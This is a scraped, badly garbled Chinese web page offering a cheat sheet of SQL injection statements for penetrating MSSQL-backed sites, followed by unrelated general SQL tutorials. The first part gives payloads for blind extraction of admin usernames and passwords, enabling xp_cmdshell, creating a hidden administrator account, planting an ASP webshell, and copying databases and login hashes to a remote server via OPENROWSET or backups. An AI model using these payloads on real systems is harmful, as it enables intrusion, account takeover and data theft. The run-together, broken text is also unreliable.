文档库 最新最全的文档下载
当前位置:文档库 › 渗透常用SQL注入语句大全

渗透常用SQL注入语句大全

渗透常用SQL注入语句大全
渗透常用SQL注入语句大全

渗透常用S Q L注入语句

大全

Document number:WTWYT-WYWY-BTGTT-YTTYU-2018GT

1.判断有无注入点

;and1=1and1=2

2.猜表一般的表的名称无非是adminadminuseruserpasspassword 等..

and0<>(selectcount(*)from*)

and0<>(selectcount(*)fromadmin)—判断是否存在admin 这张表

3.猜帐号数目如果遇到0<返回正确页面1<返回错误页面说明帐号数目就是1个

and0<(selectcount(*)fromadmin)

and1<(selectcount(*)fromadmin)

4.猜解字段名称在len()括号里面加上我们想到的字段名称.

1 2 3 and 1=(selectcount(*)fromadminwherelen(*)>0)–

and 1=(selectcount(*)fromadminwherelen(用户字段名称name)>0) and 1=(selectcount(*)fromadminwherelen(_blank>密码字段名称password)>0) 5.猜解各个字段的长度猜解长度就是把>0变换直到返回正确页面为止

1 2 3 4 5 6 7

8 and 1=(selectcount(*)fromadminwherelen(*)>0)

and 1=(selectcount(*)fromadminwherelen(name)>6)错误 and 1=(selectcount(*)fromadminwherelen(name)>5)正确长度是6 and 1=(selectcount(*)fromadminwherelen(name)=6)正确 and 1=(selectcount(*)fromadminwherelen(password)>11)正确 and 1=(selectcount(*)fromadminwherelen(password)>12)错误长度是12 and 1=(selectcount(*)fromadminwherelen(password)=12)正确

6.猜解字符

and1=(selectcount(*)fromadminwhereleft(name,1)=a)—猜解用户帐号的第一位 and1=(selectcount(*)fromadminwhereleft(name,2)=ab)—猜解用户帐号的第二位 就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

and1=(selecttop1count(*)fromAdminwhereAsc(mid(pass,5,1))=51)–

这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的

ASSIC 码就OK.最后把结果再转换成字符.

1 2 3 4 5 6 7 8 9 =1

,,,=1–

;insertintousersvalues(666,attacker,foobar,0xffff )– UNIONSelectTOP 1COLUMN_blank>_NAMEFROMINFORMATION_blank>>_NAME=logintab le-

UNIONSelectTOP 1COLUMN_blank>_NAMEFROMINFORMATION_blank>>_NAME=logintab leWhereCOLUMN_blank>_NAMENOTIN(login_blank>_id)-

UNIONSelectTOP 1COLUMN_blank>_NAMEFROMINFORMATION_blank>>_NAME=logintab leWhereCOLUMN_blank>_NAMENOTIN(login_blank>_id,login_blank>_name)- UNIONSelectTOP 1login_blank>_nameFROMlogintable-

UNIONSelectTOP 1passwordFROMlogintablewherelogin_blank>_name=Rahul –

看_blank>服务器打的补丁=出错了打了SP4补丁

and1=(select@@VERSION)–

看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin 权限。

and1=(SelectIS_blank>_SRVROLEMEMBER(sysadmin))–

判断连接_blank>数据库帐号。(采用SA 账号连接返回正常=证明了连接账号是SA )

1 2 3 andsa=(SelectSystem_blank>_user)–

anduser_blank>_name()=dbo –

and 0<>(selectuser_blank>_name()–

看xp_blank>_cmdshell 是否删除

and1=(Selectcount(*)FROMWherextype=XANDname=xp_blank>_cmdshell)–

xp_blank>_cmdshell 被删除,恢复,支持绝对路径的恢复

;EXECxp_blank>_cmdshell,–

;EXECxp_blank>_cmdshell,c:\inetpub\wwwroot\–

反向PING 自己实验

;usemaster;declare@sint;execsp_blank>_oacreate

“”,@sout;execsp_blank>_oamethod@s,”run ”,NULL,”cping

加帐号

;DECLARE@shellINTEXECSP_blank>,@shellOUTPUTEXECSP_blank>_OAMETHOD@shell,run ,null,C:\WINNT\system32\cnetuserjiaoniang$1866574/add –

创建一个虚拟目录E 盘:

;declare@ointexecsp_blank>,@ooutexecsp_blank>_oamethod@o,run,NULL,:

\inetpub\wwwroot\“默认Web 站点”-v “e ”,”e :\”–

访问属性:(配合写入一个webshell )

declare@ointexecsp_blank>,@ooutexecsp_blank>_oamethod@o,run,NULL,:

\inetpub\wwwroot\1/ROOT/e+browse

爆库特殊_blank>技巧::%5c=\或者把/和\修改%5提交

and0<>(selecttop1pathsfromnewtable)–

得到库名(从1到5都是系统的id ,6以上才可以判断)

and1=(selectnamefromwheredbid=7)–

and0<>(selectcount(*)fromwherename>1anddbid=6)

依次提交dbid=7,8,9….得到更多的_blank>数据库名

1 2 3 4 5 6 7 8 9 and 0<>(selecttop 1namefromwherextype=U)暴到一个表假设为admin and 0<>(selecttop 1namefromwherextype=Uandnamenotin(Admin))来得到其他的表。 and 0<>(selectcount(*)fromwherextype=Uandname=admin anduid>(str(id)))暴到UID 的数值假设为uid=id and 0<>(selecttop 1namefromwhereid=)得到一个admin 的一个字段,假设为user_blank>_id and 0<>(selecttop 1namefromwhereid=andnamenotin (id,…))来暴出其他的字段

and 0<(selectuser_blank>_idfromwhereusername>1)可以得到用户名

依次可以得到_blank>密码。。。。。假设存在user_blank>_idusername,password 等字段

1 2 3 4 5 6 7 8 and 0<>(selectcount(*)fromwherename>1anddbid=6)

and 0<>(selecttop 1namefromwherextype=U)得到表名 and 0<>(selecttop 1namefromwherextype=Uandnamenotin(Address)) and 0<>(selectcount(*)fromwherextype=Uandname=adminanduid>(str(id)))判断id 值 and 0<>(selecttop 1namefromwhereid=)所有字段 id=-1unionselect 1,2,3,4,5,6,7,8,9,10,11,12,13,*fromadmin id=-1unionselect 1,2,3,4,5,6,7,8,*,9,10,11,12,13fromadmin(union ,access 也好用)

得到WEB 路径

1 2 3 4 5 ;createtable[dbo].[swap]([swappass][char ](255));–

and(selecttop 1swappassfromswap)=1–

;CreateTABLEnewtable(id int IDENTITY(1,1),pathsvarchar(500))Declare @test varchar(20)execmaster..xp_blank>_regread @rootkey =HKEY_blank>_LOCAL_bla nk>_MACHINE,@key =SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Vi rtualRoots\,@value_blank >_name=/,values=@test OUTPUTinsertintopaths(pat h)values(@test )–

;useku1;–

;createtablecmd(strimage);–建立image 类型的表cmd 存在xp_blank>_cmdshell 的测试过程:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ;execmaster..xp_blank>_cmdshelldir

;execjiaoniang$;–加SQL 帐号 ;exec null ,jiaoniang$,1866574;– ;execjiaoniang$sysadmin;– ;execnetuserjiaoniang$1866574/workstations:*/times:all/passwordchg:ye s/passwordreq:yes/active:yes/add;– ;execnetlocalgroupadministratorsjiaoniang$/add;– execmaster..xp_blank>_servicecontrolstart,schedule 启动_blank>服务 execmaster..xp_blank>_servicecontrolstart,server ;DECLARE @shell INTEXECSP_blank>,@shell OUTPUTEXECSP_blank>_OAMETHOD @she ll ,run,null ,C :\WINNT\system32\cnetuserjiaoniang$1866574/add ;DECLARE @shell INTEXECSP_blank>,@shell OUTPUTEXECSP_blank>_OAMETHOD @she ll ,run,null ,C :\WINNT\system32\cnetlocalgroupadministratorsjiaoniang$/add ;execmaster..xp_blank>–利用TFTP 上传文件

;declare @a sysnameset @a =xp_blank>_+cmdshellexec @a dirc:\

;declare @a sysnameset @a =xp+_blank>_cm’+’dshellexec @a dirc:\

;declare @a ;set @a =db_blank>_name();backupdatabase @a todisk=你的IP 你的共享目录

如果被限制则可以。

select*fromopenrowset(_blank>sqloledb,server;sa;,selectOK!exechax)

查询构造:

1 2 3 4 5 6 7 8 9 10 11 12 Select*FROMnewsWhereid=…ANDtopic=…AND…..

adminand 1=(selectcount(*)from[user]whereusername=victimandright(left(userpass,01),1)=1)anduserpass<>

select 123;–

;usemaster;–

:aornamelikefff%;–显示有一个叫ffff 的用户哈。 and 1<>(selectcount(email)from[user]);– ;update[users]setemail=(selecttop 1namefromsysobjectswherextype=uandst atus>0)wherename=ffff;– ;update[users]setemail=(selecttop 1idfromsysobjectswherextype=uandname =ad)wherename=ffff;– ;update[users]setemail=(selecttop 1namefromsysobjectswherextype=uandid >)wherename=ffff;–

;update[users]setemail=(selecttop 1count(id)frompassword)wherename=fff f;–

;update[users]setemail=(selecttop 1pwdfrompasswordwhereid=2)wherename=ffff;–

;update[users]setemail=(selecttop 1namefrompasswordwhereid=2)wherename =ffff;–

上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff 用户的邮箱字段中。

通过查看ffff 的用户资料可得第一个用表叫ad

然后根据表名ad 得到这个表的ID 得到第二个表的名字

1 2 3 4 5 6 insertintousersvalues(666,char (0×63)+char (0×68)+char (0×72)+char (0×69)+char (0×73),char (0×63)+char (0×68)+char (0×72)+char (0×69)+char (0×73),0xff ff )– insertintousersvalues(667,123,123,0xffff )–

insertintousersvalues(123,admin –,password,0xffff )–

;anduser>0

;and(selectcount(*)fromsysobjects)>0

;and(selectcount(*)frommysysobjects)>0

制目标主机的整个_blank>数据库insert 所有远程表到本地表。

基本语法:

insertintoOPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select*fromt able1)select*fromtable2

这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修改连接字符串的IP 地址和端口,指向需要的地方,比如:

1 2 3 4 5 6 7 insertintoOPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=,1433;,select*fromtable1)select*fromtable2

insertintoOPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=,1433;,select*from_blank>_sysdatabases)

select*from

insertintoOPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=,1433;,select*from_blank>_sysobjects)

select*from

insertintoOPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=,1433;,select*from_blank>_syscolumns)

select*from

复制_blank>数据库:

insertinto*fromtable1)select*fromdatabase..table1

insertinto*fromtable2)select*fromdatabase..table2

复制哈西表(HASH )登录_blank>密码的hash 存储于sysxlogins 中。方法如下: insertintoOPENROWSET(SQLOLEDB,*from_blank>_sysxlogins)select*from

得到hash 之后,就可以进行暴力破解。

遍历目录的方法:先创建一个临时表:temp

1 2 3 4 5 6 7 8 9 ;createtabletemp(idnvarchar(255),num1nvarchar(255),num2nvarchar(255),n um3nvarchar(255));–

;inserttempexec 获得当前所有驱动器 ;insertintotemp(id)execc:\;–获得子目录列表 ;insertintotemp(id,num1)execc:\;–获得所有子目录的目录树结构,并寸入temp 表中 ;insertintotemp(id)exectypec:\web\;–查看某个文件的内容 ;insertintotemp(id)execdirc:\;– ;insertintotemp(id)execdirc:\*.asp/s/a;–

;insertintotemp(id)execcscriptC:\Inetpub\AdminScripts\

;insertintotemp(id,num1)execc:\;–(xp_blank>_dirtree 适用权限PUBLIC )

写入表:

语句1:and1=(SelectIS_blank>_SRVROLEMEMBER(sysadmin));–

语句2:and1=(SelectIS_blank>_SRVROLEMEMBER(serveradmin));–

语句3:and1=(SelectIS_blank>_SRVROLEMEMBER(setupadmin));–

语句4:and1=(SelectIS_blank>_SRVROLEMEMBER(securityadmin));–

语句5:and1=(SelectIS_blank>_SRVROLEMEMBER(securityadmin));–

语句6:and1=(SelectIS_blank>_SRVROLEMEMBER(diskadmin));–

语句7:and1=(SelectIS_blank>_SRVROLEMEMBER(bulkadmin));–

语句8:and1=(SelectIS_blank>_SRVROLEMEMBER(bulkadmin));–

语句9:and1=(SelectIS_blank>_MEMBER(db_blank>_owner));–

把路径写到表中去:

1 2 3 4 5 ;createtabledirs(pathsvarchar(100),id int )–

;insertdirsexecc:\–

and 0<>(selecttop 1pathsfromdirs)–

and 0<>(selecttop 1pathsfromdirswherepathsnotin(@Inetpub ))–

;createtabledirs1(pathsvarchar(100),id int )–

6 7 ;insertdirsexece:\web –

and 0<>(selecttop 1pathsfromdirs1)– 把_blank>数据库备份到网页目录:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 ;declare @a sysname;set @a =db_blank>_name();backupdatabase @a todisk=e:\we b\;–

and 1=(Selecttop 1namefrom(Selecttop 12id,namefromsysobjectswherextype=c har (85))Torderbyiddesc)

and 1=(SelectTop 1col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1)fromsysobjects)参看相关表。 and 1=(selectuser_blank>_idfromUSER_blank>_LOGIN) and 0=(selectuserfromUSER_blank>_LOGINwhereuser>1) -==- declare @o int execsp_blank>,@o out execsp_blank>_oamethod @o ,run,NULL, ;declare @o int execsp_blank>,@o outexecsp_blank>_oamethod @o ,run,NULL,– declare @o int ,@f int ,@t int ,@ret int declare @line varchar(8000) execsp_blank>,@o out execsp_blank>_oamethod @o ,opentextfile,@f out,c:\,1 exec @ret =sp_blank>_oamethod @f ,readline,@line out while (@ret =0) begin print @line exec @ret =sp_blank>_oamethod @f ,readline,@line out end declare @o int ,@f int ,@t int ,@ret int execsp_blank>,@o out execsp_blank>_oamethod @o ,createtextfile,@f out,c:\inetpub\wwwroot\,1 exec @ret =sp_blank>_oamethod @f ,writeline,NULL, <%seto =(“”):(“cmd”))%> declare @o int ,@ret int execsp_blank>,@o out execsp_blank>_oamethod @o ,register,NULL,foo,bar execsp_blank>_oasetproperty @o ,speed,150 execsp_blank>_oamethod @o ,speak,NULL,allyoursequelserversarebelongto,u s,528 waitfordelay 00:00:05 ;declare @o int ,@ret int execsp_blank>,@o outexecsp_blank>_oamethod @o ,regi ster,NULL,foo,barexecsp_blank>_oasetproperty @o ,speed,150execsp_blank>_oamethod @o ,speak,NULL,allyoursequelserversarebelongtous,528waitforde lay 00:00:05– xp_blank>_dirtree 适用权限PUBLIC execc:返回的信息有两个字段subdirectory 、depth 。Subdirectory 字段是字符型,depth 字段是整形字段。

createtabledirs(pathsvarchar(100),id int )

建表,这里建的表是和上面xp_blank>_dirtree 相关连,字段相等、类型相同。 insertdirsexecc:只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,一步步达到我们想要的信息!

常用SQL语句大全

常用SQL语句大全 一、基础 1、说明:创建数据库 CREATE DATABASE database-name 2、说明:删除数据库 DROP database dbname 3、说明:备份sql server --- 创建备份数据的device USE master EXEC sp_addumpdevice 'disk', 'testBack', 'c:\mssql7backup\MyNwind_1.dat' --- 开始备份 BACKUP DATABASE pubs TO testBack 4、说明:创建新表 create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..) 根据已有的表创建新表: A:create table tab_new like tab_old (使用旧表创建新表) B:create table tab_new as select col1,col2…from tab_old definition only 5、说明:删除新表 DROP table tabname 6、说明:增加一个列 Alter table tabname add column col type 注:列增加后将不能删除。DB2中列加上后数据类型也不能改变,唯一能改变的是增加varchar类型的长度。 7、说明:添加主键:Alter table tabname add primary key(col) 说明:删除主键:Alter table tabname DROP primary key(col) 8、说明:创建索引:create [unique] index idxname on tabname(col….) 删除索引:DROP index idxname 注:索引是不可更改的,想更改必须删除重新建。 9、说明:创建视图:create view viewname as select statement 删除视图:DROP view viewname 10、说明:几个简单的基本的sql语句 选择:select * from table1 where 范围 插入:insert into table1(field1,field2) values(value1,value2) 删除:delete from table1 where 范围 更新:update table1 set field1=value1 where 范围 查找:select * from table1 where field1 like ’%value1%’---like的语法很精妙,查资料! 排序:select * from table1 order by field1,field2 [desc] 总数:select count as totalcount from table1 求和:select sum(field1) as sumvalue from table1 平均:select avg(field1) as avgvalue from table1 最大:select max(field1) as maxvalue from table1 最小:select min(field1) as minvalue from table1 11、说明:几个高级查询运算词

ORACLE常用SQL语句大全

ORACLE常用SQL语句大全 一、基础 1、说明:创建数据库 CREATE DATABASE database-name 2、说明:删除数据库 drop database dbname 3、说明:备份sql server --- 创建备份数据的 device USE master EXEC sp_addumpdevice 'disk', 'testBack', 'c:/mssql7backup/MyNwind_1.dat' --- 开始备份 BACKUP DATABASE pubs TO testBack 4、说明:创建新表 create table tabname(col1 type1 [not null] [primary key],col2 type2 [not nul l],..) 根据已有的表创建新表: A:select * into table_new from table_old (使用旧表创建新表) B:create table tab_new as select col1,col2… from tab_old definition only<仅适用于Oracle> 5、说明:删除表 drop table tablename

6、说明:增加一个列,删除一个列 A:alter table tabname add column col type B:alter table tabname drop column colname 注:DB2DB2中列加上后数据类型也不能改变,唯一能改变的是增加varchar类型的长度。 7、添加主键: Alter table tabname add primary key(col) 删除主键: Alter table tabname drop primary key(col) 8、创建索引:create [unique] index idxname on tabname(col….) 删除索引:drop index idxname 注:索引是不可更改的,想更改必须删除重新建。 9、创建视图:create view viewname as select statement 删除视图:drop view viewname 10、几个简单的基本的sql语句 选择:select * from table1 where 范围 插入:insert into table1(field1,field2) values(value1,value2) 删除:delete from table1 where 范围 更新:update table1 set field1=value1 where 范围 查找:select * from table1 where field1 like ’%value1%’ ---like的语法很精妙,查资料! 排序:select * from table1 order by field1,field2 [desc] 总数:select count as totalcount from table1 求和:select sum(field1) as sumvalue from table1 平均:select avg(field1) as avgvalue from table1 最大:select max(field1) as maxvalue from table1 最小:select min(field1) as minvalue from table1 11、几个高级查询运算词 A:UNION 运算符 UNION 运算符通过组合其他两个结果表(例如 TABLE1 和 TABLE2)并消去表中任何重复行而派生出一个结果表。当 ALL 随 UNION 一起使用时(即 UNION ALL),不消除重复行。两种情况下,派生表的每一行不是来自 TABLE1 就是来自 TABLE2。 B:EXCEPT 运算符 EXCEPT 运算符通过包括所有在 TABLE1 中但不在 TABLE2 中的行并消除所有重复行而派生出一个结果表。当ALL 随 EXCEPT 一起使用时 (EXCEPT ALL),不消除重复行。 C:INTERSECT 运算符 INTERSECT 运算符通过只包括 TABLE1 和 TABLE2 中都有的行并消除所有重复行而派生出一个结果表。当 ALL 随 INTERSECT 一起使用时 (INTERSECT ALL),不消除重复行。 注:使用运算词的几个查询结果行必须是一致的。 12、使用外连接

sql语句大全1

SQL语句大全 --语句功能 --数据操作 SELECT --从数据库表中检索数据行和列INSERT --向数据库表添加新数据行 DELETE --从数据库表中删除数据行 UPDATE --更新数据库表中的数据 --数据定义 CREATE TABLE --创建一个数据库表 DROP TABLE --从数据库中删除表 ALTER TABLE --修改数据库表结构 CREATE VIEW --创建一个视图 DROP VIEW --从数据库中删除视图 CREATE INDEX --为数据库表创建一个索引DROP INDEX --从数据库中删除索引 CREATE PROCEDURE --创建一个存储过程 DROP PROCEDURE --从数据库中删除存储过程CREATE TRIGGER --创建一个触发器 DROP TRIGGER --从数据库中删除触发器CREATE SCHEMA --向数据库添加一个新模式DROP SCHEMA --从数据库中删除一个模式CREATE DOMAIN --创建一个数据值域 ALTER DOMAIN --改变域定义 DROP DOMAIN --从数据库中删除一个域 --数据控制 GRANT --授予用户访问权限 DENY --拒绝用户访问 REVOKE --解除用户访问权限 --事务控制 COMMIT --结束当前事务 ROLLBACK --中止当前事务 SET TRANSACTION --定义当前事务数据访问特征--程序化SQL DECLARE --为查询设定游标 EXPLAN --为查询描述数据访问计划 OPEN --检索查询结果打开一个游标 FETCH --检索一行查询结果 CLOSE --关闭游标 PREPARE --为动态执行准备SQL 语句EXECUTE --动态地执行SQL 语句 DESCRIBE --描述准备好的查询

SQL常用语句+举例

SQL 常用语句+举例 相关表: 1. distinct: 剔除重复记录 例:select distinct stroe_name from Store_information 结果: 2. And / or: 并且/或 例:在表中选出所有sales 高于$1000或是sales 在$275及$500之间的记录 Select store_name ,sales from Store_information Where sales>1000 Or (sales>275 and sales <500) 3. 例:在表中查找store_name 包含 Los Angeles 或San Diego 的记录 Select * from Store_information where store_name in (‘Los Angeles ’,’San Diego ’) 结果: 4. Between : 可以运用一个范围抓出表中的值

与in 的区别:in 依照一个或数个不连续的值的限制抓出表中的值 例:查找表中介于Jan-06-1999 及Jan-10-1999 中的记录 Select * from Store_information where date between ‘Jan-06-1999’ and ‘Jan-10-1999’ 结果: 5. Like : 让我们依据一个套式来找出我们要的记录 套式通常包含: ’A_Z ’: 所有以A 开头,中间包含一个字符,以Z 结尾的字串 ’ABC%’: 所有以ABC 起头的字串 ’%XYZ ’: 所有以XYZ 结尾的字串 ’%AN%’: 所有包含AN 的字串 例:Select * from Store_information where store_name like ‘%An%’ 结果: 6. Order by: 排序,通常与ASC (从小到大,升序)、DESC (从大到小,降序)结合使用 当排序字段不止一个时,先依据字段1排序,当字段1有几个值相同时,再依据字段2排序 例:表中sales 由大到小列出Store_information 的所有记录 Select Store_name, sales,date from Store_information order by sales desc 结果: 7. 函数:AVG (平均值)、COUNT (计数)、MAX (最大值)、MIN (最小值)、SUM(求和) 语句:select 函数名(字段名) from 表名 例:求出sales 的总和 Select sum(sales) from Store_information 结果 8. COUNT (计数) 例:找出Store_information 表中 有几个store_name 值不是空的记录

数据库经典SQL语句大全

数据库经典SQL语句大全 篇一:经典SQL语句大全 下列语句部分是Mssql语句,不可以在access中使用。 SQL分类: DDL—数据定义语言(CREATE,ALTER,DROP,DECLARE) DML—数据操纵语言(SELECT,DELETE,UPDATE,INSERT) DCL—数据控制语言(GRANT,REVOKE,COMMIT,ROLLBACK) 首先,简要介绍基础语句: 1、说明:创建数据库 CREATE DATABASE database-name 2、说明:删除数据库 drop database dbname 3、说明:备份sql server --- 创建备份数据的 device USE master EXEC sp_addumpdevice 'disk','testBack', 'c:mssql7backupMyNwind_1.dat' --- 开始备份 BACKUP DATABASE pubs TO testBack 4、说明:创建新表

create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..) 根据已有的表创建新表: A:create table tab_new like tab_old (使用旧表创建新表) B:create table tab_new as select col1,col2? from tab_old definition only 5、说明: 删除新表: tabname 6、说明: 增加一个列:Alter table tabname add column col type 注:列增加后将不能删除。DB2中列加上后数据类型也不能改变,唯一能改变的是增加varchar类型的长度。 7、说明: 添加主键:Alter table tabname add primary key(col) 说明: 删除主键:Alter table tabname drop primary key(col) 8、说明: 创建索引:create [unique] index idxname on tabname(col?.) 删除索引:drop index idxname 注:索引是不可更改的,想更改必须删除重新建。

数据库基本SQL语句大全

数据库基本SQL语句大全 数据库基本----SQL语句大全 一、基础 1、说明:创建数据库 Create DATABASE database-name 2、说明:删除数据库 drop database dbname 3、说明:备份sql server --- 创建备份数据的device USE master EXEC sp_addumpdevice 'disk', 'testBack', 'c:\mssql7backup\MyNwind_1.dat' --- 开始备份 BACKUP DATABASE pubs TO testBack 4、说明:创建新表 create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..) 根据已有的表创建新表: A:create table tab_new like tab_old (使用旧表创建新表) B:create table tab_new as select col1,col2…from tab_old definition only 5、说明:删除新表 drop table tabname 6、说明:增加一个列 Alter table tabname add column col type 注:列增加后将不能删除。DB2中列加上后数据类型也不能改变,唯一能改变的是增加varchar类型的长度。 7、说明:添加主键:Alter table tabname add primary key(col) 说明:删除主键:Alter table tabname drop primary key(col) 8、说明:创建索引:create [unique] index idxname on tabname(col….) 删除索引:drop index idxname 注:索引是不可更改的,想更改必须删除重新建。 9、说明:创建视图:create view viewname as select statement 删除视图:drop view viewname 10、说明:几个简单的基本的sql语句 选择:select * from table1 where 范围 插入:insert into table1(field1,field2) values(value1,value2) 删除:delete from table1 where 范围 更新:update table1 set field1=value1 where 范围

50个常用sql语句实例(学生表 课程表 成绩表 教师表)

Student(S#,Sname,Sage,Ssex) 学生表 Course(C#,Cname,T#) 课程表 SC(S#,C#,score) 成绩表 Teacher(T#,Tname) 教师表 create table Student(S# varchar(20),Sname varchar(10),Sage int,Ssex varchar(2)) 前面加一列序号: if exists(select table_name from information_schema.tables where table_name='Temp_Table') drop table Temp_Table go select 排名=identity(int,1,1),* INTO Temp_Table from Student go select * from Temp_Table go drop database [ ] --删除空的没有名字的数据库 问题: 1、查询“”课程比“”课程成绩高的所有学生的学号; select a.S# from (select s#,score from SC where C#='001') a,(select s#,score from SC where C#='002') b where a.score>b.score and a.s#=b.s#; 2、查询平均成绩大于分的同学的学号和平均成绩; select S#,avg(score) from sc group by S# having avg(score) >60; 3、查询所有同学的学号、姓名、选课数、总成绩; select Student.S#,Student.Sname,count(SC.C#),sum(score) from Student left Outer join SC on Student.S#=SC.S# group by Student.S#,Sname 4、查询姓“李”的老师的个数; select count(distinct(Tname)) from Teacher where Tname like '李%'; 5、查询没学过“叶平”老师课的同学的学号、姓名; select Student.S#,Student.Sname from Student

大数据库基本SQL语句大全

数据库基本_SQL语句大全 学会数据库是很实用D~~记录一些常用的sql语句...有入门有提高有见都没见过的...好全...收藏下... 其实一般用的就是查询,插入,删除等语句而已....但学学存储过程是好事...以后数据方面的东西就不用在程序里搞喽..而且程序与数据库只要一个来回通讯就可以搞定所有数据的操作.... 一、基础 1、说明:创建数据库 Create DATABASE database-name 2、说明:删除数据库 drop database dbname 3、说明:备份sql server --- 创建备份数据的device USE master EXEC sp_addumpdevice ‘disk‘, ‘testBack‘, ‘c:\mssql7backup\MyNwind_1.dat‘ --- 开始备份 BACKUP DATABASE pubs TO testBack 4、说明:创建新表 create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..)

根据已有的表创建新表: A:create table tab_new like tab_old (使用旧表创建新表) B:create table tab_new as select col1,col2…from tab_old definition only 5、说明:删除新表 drop table tabname 6、说明:增加一个列 Alter table tabname add column col type 注:列增加后将不能删除。DB2中列加上后数据类型也不能改变,唯一能改变的是增加varchar类型的长度。 7、说明:添加主键:Alter table tabname add primary key(col)说明:删除主键:Alter table tabname drop primary key(col) 8、说明:创建索引:create [unique] index idxname on tabname(col….) 删除索引:drop index idxname 注:索引是不可更改的,想更改必须删除重新建。 9、说明:创建视图:create view viewname as select statement 删除视图:drop view viewname 10、说明:几个简单的基本的sql语句 选择:select * from table1 where 范围 插入:insert into table1(field1,field2) values(value1,value2) 删除:delete from table1 where 范围

SAS中的SQL语句大全

S A S中的S Q L语句大 全 标准化管理处编码[BBX968T-XBB8968-NNJ668-MM9N]

SAS中的SQL语句完全教程之一:SQL简介与基本查询功能 本系列全部内容主要以《SQL Processing with the SAS System (Course Notes)》为主进行讲解,本书是在网上下载下来的,但忘了是在哪个网上下的,故不能提供下载链接了,需要的话可以发邮件向我索取,我定期邮给大家,最后声明一下所有资料仅用于学习,不得用于商业目的,否则后果自负。 1 SQL过程步介绍 SQL过程步可以实现下列功能: 查询SAS数据集、从SAS数据集中生成报表、以不同方式实现数据集合并、创建或删除SAS数据集、视图、索引等、更新已存在的数据集、使得SAS系统可以使用SQL语句、可以和SAS的数据步进行替换使用。注意,SQL过程步并不是用来代替SAS数据步,也不是一个客户化的报表工具,而是数据处理用到的查询工具。 SQL过程步的特征 SQL过程步并不需要对每一个查询进行重复、每条语句都是单独处理、不需要print过程步就能打印出查询结果、也不用sort过程步进行排序、不需要run、要quit来结束SQL 过程步 SQL过程步语句 SELECT:查询数据表中的数据 ALTER:增加、删除或修改数据表的列 CREATE:创建一个数据表

DELETE:删除数据表中的列 DESCRIBE:列出数据表的属性 DROP:删除数据表、视图或索引 INSERT:对数据表插入数据 RESET:没用过,不知道什么意思 SELECT:选择列进行打印 UPDATE:对已存在的数据集的列的值进行修改 2 SQL基本查询功能 SELECT语句基本语法介绍 SELECT object-item <, ...object-item> FROM from-list > >;这里SELECT:指定被选择的列

50个常用的SQL语句练习

基本信息Student(`S#`,Sname,Sage,Ssex) 学生表 Course(`C#`,Cname,`T#`) 课程表 SC(`S#`,`C#`,score) 成绩表 Teacher(`T#`,Tname) 教师表 问题: 1、查询“001”课程比“002”课程成绩高的所有学生的学号; select a.`S#` from (select `S#`,score from SC where `C#`='001') a,(select `S#`,score from SC where `C#`='002') b where a.score>b.score and a.`S#`=b.`S#`; ↑一张表中存在多对多情况的 2、查询平均成绩大于60分的同学的学号和平均成绩; 答案一:select `S#`,avg(score) from sc group by `S#` having avg(score) >60; ↑一对多,对组进行筛选 答案二:SELECT s ,scr FROM (SELECT sc.`S#` s,AVG(sc.`score`) scr FROM sc GROUP BY sc.`S#`) rs WHERE rs.scr>60 ORDER BY rs.scr DESC ↑嵌套查询可能影响效率 3、查询所有同学的学号、姓名、选课数、总成绩; 答案一:select Student.`S#`,Student.Sname,count(`C#`),sum(score) from Student left Outer join SC on Student.`S#`=SC.`S#` group by Student.`S#`,Sname ↑如果学生没有选课,仍然能查出,显示总分null(边界情况) 答案二:SELECT student.`S#`,student.`Sname`,COUNT(sc.`score`) 选课数,SUM(sc.`score`) 总分FROM Student,sc WHERE student.`S#`=sc.`S#` GROUP BY sc.`S#` ↑如果学生没有选课,sc表中没有他的学号,就查不出该学生,有缺陷! 4、查询姓“李”的老师的个数; select count(distinct(Tname)) from Teacher where Tname like '李%'; 5、查询没学过“叶平”老师课的同学的学号、姓名; select Student.`S#`,Student.Sname from Student where `S#` not in (select distinct(SC.`S#`) from SC,Course,Teacher where SC.`C#`=Course.`C#` and Teacher.`T#`=Course.`T#` and Teacher.Tname='叶平'); ↑反面思考Step1:先找学过叶平老师课的学生学号,三表联合查询 Step2:在用not in 选出没学过的 Step3:distinct以防叶平老师教多节课;否则若某同学的几节课都由叶平教,学号就会出现重复 6、查询学过“001”并且也学过编号“002”课程的同学的学号、姓名; select Student.`S#`,Student.Sname from Student,SC where Student.`S#`=SC.`S#` and SC.`C#`='001'and exists( Select * from SC as SC_2 where SC_2.`S#`=SC.`S#` and SC_2.`C#`='002' ); ↑注意目标字段`S#`关联 exists subquery 可以用in subquery代替,如下 select Student.`S#`,Student.Sname from Student,Sc where Student.`S#`=SC.`S#` and SC.`C#`='001'and sc.`s#` in ( select sc_2.`s#` from sc as sc_2 where sc_2.`c#`='002' ); ↑不同之处,in subquery此处就不需要关联了

SQL语句大全实例

